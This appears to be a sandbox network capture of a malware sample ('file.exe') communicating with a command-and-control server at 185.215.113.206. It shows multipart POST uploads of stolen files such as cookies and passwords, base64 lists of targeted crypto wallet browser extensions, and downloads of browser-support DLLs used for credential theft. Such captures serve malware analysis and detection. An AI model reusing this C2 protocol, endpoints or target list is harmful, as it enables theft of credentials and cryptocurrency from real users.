Oct 28, 2024 02:07:11.962994099 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Oct 28, 2024 02:07:11.963030100 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Oct 28, 2024 02:07:11.963066101 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Oct 28, 2024 02:07:11.963103056 CET	636	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Oct 28, 2024 02:07:11.963289022 CET	1236	IN	Data Raw: 5a 32 56 6d 66 44 46 38 4d 48 77 77 66 45 31 31 62 48 52 70 64 6d 56 79 63 31 67 67 52 47 56 47 61 53 42 58 59 57 78 73 5a 58 52 38 5a 47 35 6e 62 57 78 69 62 47 4e 76 5a 47 5a 76 59 6e 42 6b 63 47 56 6a 59 57 46 6b 5a 32 5a 69 59 32 64 6e 5a 6d Data Ascii: Z2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV
Oct 28, 2024 02:07:11.963345051 CET	416	IN	Data Raw: 59 57 78 73 5a 58 52 38 63 47 56 75 61 6d 78 6b 5a 47 70 72 61 6d 64 77 62 6d 74 73 62 47 4a 76 59 32 4e 6b 5a 32 4e 6a 5a 57 74 77 61 32 4e 69 61 57 35 38 4d 58 77 77 66 44 42 38 55 32 46 6d 5a 56 42 68 62 43 42 58 59 57 78 73 5a 58 52 38 59 58 Data Ascii: YWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1
Oct 28, 2024 02:07:11.987003088 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFBGHIDBGHJJKFHJDHC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="message"fplugins------CAFBGHIDBGHJJKFHJDHC--
Oct 28, 2024 02:07:12.275213003 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 28, 2024 02:07:12.647615910 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKFCFBFIDGCGDHJDBKF Host: 185.215.113.206 Content-Length: 6335 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 02:07:12.647717953 CET	6335	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 Data Ascii: ------FBKFCFBFIDGCGDHJDBKFContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------FBKFCFBFIDGCGDHJDBKFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 28, 2024 02:07:13.452891111 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 02:07:13.803407907 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 02:07:14.089317083 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 28, 2024 02:07:14.089354992 CET	212	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 28, 2024 02:07:16.407891989 CET	1236	IN	DELETE FROM '%q'.'%q_parent' WHERE nodeno = ?1aaa&a\aaaa,%.s REAL,%.s INT`akanodeparentaapajson_eachjson_treea_aa _abad parameter or other API misuseout of memory!5Ng22d@@ @^aGaMaa'a^aa'aa&aa}aaaaaqabtnfrjsonjson_arrayjson_array_lengthjson_extract->->>json_insertjson_objectjson_patchjson_quotejson_removejson_replacejson_setjson_typejson_validjson_group_arrayjson_group_object;'datetimedatetimestrftimecurrent_timecurrent_timestampcurrent_datesqlite_rename_columnsqlite_rename_tablesqlite_rename_testsqlite_drop_columnsqlite_rename_quotefiximplies_nonnull_rowexpr_compareexpr_implies_expraffinityload [TRUNCATED] Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49800	185.215.113.206	80	3960	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 02:07:26.065713882 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGIIJDGHCAKFHJEHCF Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 02:07:26.065740108 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 Data Ascii: ------AKEGIIJDGHCAKFHJEHCFContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------AKEGIIJDGHCAKFHJEHCFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 28, 2024 02:07:27.461020947 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 02:07:27.581017017 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file"------BFIJKEBFBFHIJJKEHDHI--
Oct 28, 2024 02:07:28.357269049 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49967	185.215.113.206	80	3960	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 02:07:42.226790905 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIJDHCAKKFCBGCBAAEC Host: 185.215.113.206 Content-Length: 7011 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 02:07:42.226835966 CET	7011	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 Data Ascii: ------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Oct 28, 2024 02:07:43.639960051 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 02:07:44.356762886 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJDBAEHIJKJKEBFIEGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="file"------IJJDBAEHIJKJKEBFIEGH--
Oct 28, 2024 02:07:45.131308079 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 02:07:45.758734941 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 02:07:46.041697025 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 28, 2024 02:07:46.041708946 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Oct 28, 2024 02:07:46.041728020 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 28, 2024 02:07:46.041755915 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Oct 28, 2024 02:07:46.041766882 CET	424	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Oct 28, 2024 02:07:46.041811943 CET	1236	IN	Data Raw: 83 c4 0c 8b 45 d8 85 c0 74 0a 53 50 e8 5c 00 08 00 83 c4 08 8b 4d f0 31 e9 e8 9a fe 07 00 89 f8 83 c4 24 5e 5f 5b 5d c3 55 89 e5 53 57 56 8b 75 08 85 f6 74 3a 8b 7d 0c 8b 1e 85 db 74 24 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 Data Ascii: EtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}tVEGGHtIUuu@t0t,GHjShv1
Oct 28, 2024 02:07:46.041840076 CET	1236	IN	Data Raw: ff 83 c4 08 85 c0 74 1c 8b 3e 85 ff 74 20 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 eb 0a 8b 45 ec 8b 4d f0 89 08 31 db 89 d8 83 c4 08 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 8b 75 08 8b 3e 8b 46 04 Data Ascii: t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vhuHuVu
Oct 28, 2024 02:07:46.041851997 CET	24	IN	Data Raw: 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 88 14 Data Ascii: >
Oct 28, 2024 02:07:46.042088032 CET	1236	IN	Data Raw: 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b 4d f0 31 e9 e8 dd f4 07 00 89 f8 81 c4 08 01 00 00 5e 5f 5b 5d c3 55 89 e5 83 7d 0c 00 74 10 68 02 01 00 00 ff 75 08 e8 6f f6 07 00 83 c4 08 5d c3 cc cc cc cc cc 55 89 e5 56 8b 75 1c 8b 45 14 Data Ascii: >fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}aM}
Oct 28, 2024 02:07:46.042151928 CET	212	IN	Data Raw: f4 e9 66 0f 70 f5 e8 66 0f 70 c9 f5 66 0f f4 cc 66 0f 70 c9 e8 66 0f 62 f1 66 0f eb f2 66 0f 6f d0 66 0f fe 15 f0 20 08 10 83 c8 08 66 0f 6e 0c 07 66 0f 60 cb 66 0f 61 cb 66 0f 72 f2 17 66 0f 6f 2d e0 20 08 10 66 0f fe d5 f3 0f 5b d2 66 0f 70 e1 Data Ascii: fpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfpfbff!~s
Oct 28, 2024 02:07:47.119599104 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 02:07:47.400974035 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 